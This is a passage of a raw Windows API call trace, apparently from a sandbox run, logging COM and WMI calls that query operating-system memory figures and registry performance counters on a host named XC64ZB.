pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0301.177] IUnknown:Release (This=0x1b268758) returned 0x3 [0301.177] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0301.177] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0301.177] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0301.177] IUnknown:Release (This=0x1b268750) returned 0x2 [0301.177] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0301.177] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0301.177] IUnknown:QueryInterface (in: This=0x1b268750, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b268750) returned 0x0 [0301.177] IUnknown:AddRef (This=0x1b268750) returned 0x4 [0301.177] IUnknown:Release (This=0x1b268750) returned 0x3 [0301.177] IUnknown:Release (This=0x1b268750) returned 0x2 [0301.178] CoTaskMemFree (pv=0x1d1c0f40) [0301.178] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0301.178] IUnknown:AddRef (This=0x1b268750) returned 0x3 [0301.178] IWbemClassObject:Get (in: This=0x1b268750, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0301.178] IWbemClassObject:Get (in: This=0x1b268750, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0301.178] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0301.178] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0301.178] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0301.178] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0301.179] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0301.179] IUnknown:Release (This=0x77dd58) returned 0x1 [0301.181] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d2184b0) returned 0x0 [0301.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d2184b0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0301.181] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d2184b0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b294160) returned 0x0 [0301.181] WbemDefPath:IUnknown:Release (This=0x1d2184b0) returned 0x0 [0301.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294160, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b294160) returned 0x0 [0301.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294160, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0301.181] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294160, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0301.181] WbemDefPath:IUnknown:AddRef (This=0x1b294160) returned 0x3 [0301.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294160, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0301.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294160, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0301.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294160, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d2188f0) returned 0x0 [0301.182] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d2188f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0301.182] WbemDefPath:IUnknown:Release (This=0x1d2188f0) returned 0x3 [0301.182] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0301.182] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0301.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294160, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0301.182] WbemDefPath:IUnknown:Release (This=0x1b294160) returned 0x2 [0301.182] WbemDefPath:IUnknown:Release (This=0x1b294160) returned 0x1 [0301.182] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0301.182] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0301.182] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294160, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b294160) returned 0x0 [0301.182] WbemDefPath:IUnknown:AddRef (This=0x1b294160) returned 0x3 [0301.182] WbemDefPath:IUnknown:Release (This=0x1b294160) returned 0x2 [0301.183] WbemDefPath:IWbemPath:SetText (This=0x1b294160, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0301.183] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0301.183] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0301.183] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0301.183] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0301.183] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0301.183] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0301.183] IWbemClassObject:Get (in: This=0x1b268750, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28636d8*=0, plFlavor=0x28636dc*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x28636d8*=21, plFlavor=0x28636dc*=0) returned 0x0 [0301.183] SysStringByteLen (bstr="1359840") returned 0xe [0301.183] SysStringByteLen (bstr="1359840") returned 0xe [0301.183] IWbemClassObject:Get (in: This=0x1b268750, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28636d8*=21, plFlavor=0x28636dc*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x28636d8*=21, plFlavor=0x28636dc*=0) returned 0x0 [0301.184] SysStringByteLen (bstr="1359840") returned 0xe [0301.184] SysStringByteLen (bstr="1359840") returned 0xe [0301.185] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0301.185] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0301.185] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0301.185] IWbemClassObject:Get (in: This=0x1b268750, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28638d0*=0, plFlavor=0x28638d4*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28638d0*=21, plFlavor=0x28638d4*=0) returned 0x0 [0301.185] SysStringByteLen (bstr="2096620") returned 0xe [0301.185] SysStringByteLen (bstr="2096620") returned 0xe [0301.185] IWbemClassObject:Get (in: This=0x1b268750, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28638d0*=21, plFlavor=0x28638d4*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28638d0*=21, plFlavor=0x28638d4*=0) returned 0x0 [0301.185] SysStringByteLen (bstr="2096620") returned 0xe [0301.185] SysStringByteLen (bstr="2096620") returned 0xe [0301.186] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0301.186] WbemLocator:IUnknown:Release (This=0x1b203398) returned 0x1 [0301.186] IUnknown:Release (This=0x1b286c50) returned 0x0 [0303.254] GetTickCount64 () returned 0x1ac8425 [0303.257] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0303.259] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2756148, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2756148*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0303.265] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0303.265] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x2767560, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x2767560*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0303.271] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0303.271] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0303.274] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0303.274] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0303.275] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0303.275] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0303.275] IUnknown:Release (This=0x77dd58) returned 0x1 [0303.276] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d218310) returned 0x0 [0303.276] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218310, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0303.277] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d218310, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218690) returned 0x0 [0303.277] WbemLocator:IUnknown:Release (This=0x1d218310) returned 0x0 [0303.277] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218690, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218690) returned 0x0 [0303.277] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218690, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0303.277] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218690, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0303.277] WbemLocator:IUnknown:AddRef (This=0x1d218690) returned 0x3 [0303.277] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218690, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0303.277] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218690, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0303.277] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218690, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0303.277] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0303.278] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0303.278] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218690, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0303.278] WbemLocator:IUnknown:Release (This=0x1d218690) returned 0x2 [0303.278] WbemLocator:IUnknown:Release (This=0x1d218690) returned 0x1 [0303.278] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0303.278] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0303.278] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218690, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218690) returned 0x0 [0303.278] WbemLocator:IUnknown:AddRef (This=0x1d218690) returned 0x3 [0303.278] WbemLocator:IUnknown:Release (This=0x1d218690) returned 0x2 [0303.278] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0303.278] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0303.278] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0303.278] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d217f10) returned 0x0 [0303.278] WbemLocator:IWbemLocator:ConnectServer (This=0x1d217f10, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8) Thread: id = 237 os_tid = 0xc1c [0187.291] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0187.291] RoInitialize () returned 0x1 [0187.291] RoUninitialize () returned 0x0 [0187.421] CoGetObjectContext (in: riid=0x2356978*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1db9da38 | out: ppv=0x1db9da38*=0x77dd58) returned 0x0 [0187.422] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1db9da28 | out: pAptType=0x1db9da28*=1) returned 0x0 [0187.422] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2356958*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1db9da30 | out: ppvObject=0x1db9da30*=0x0) returned 0x80004002 [0187.422] IUnknown:Release (This=0x77dd58) returned 0x0 [0187.425] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1db9ce28 | out: ppv=0x1db9ce28*=0x1b28dac0) returned 0x0 [0187.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b28dac0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1db9cf10 | out: ppvObject=0x1db9cf10*=0x0) returned 0x80004002 [0187.425] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b28dac0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9cee8 | out: ppvObject=0x1db9cee8*=0x1b292ea0) returned 0x0 [0187.426] WbemDefPath:IUnknown:Release (This=0x1b28dac0) returned 0x0 [0187.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9cc90 | out: ppvObject=0x1db9cc90*=0x1b292ea0) returned 0x0 [0187.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1db9cd20 | out: ppvObject=0x1db9cd20*=0x0) returned 0x80004002 [0187.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1db9c518 | out: ppvObject=0x1db9c518*=0x0) returned 0x80004002 [0187.426] WbemDefPath:IUnknown:AddRef (This=0x1b292ea0) returned 0x3 [0187.426] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b292ea0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1db9c3d8 | out: ppvObject=0x1db9c3d8*=0x0) returned 0x80004002 [0187.426] 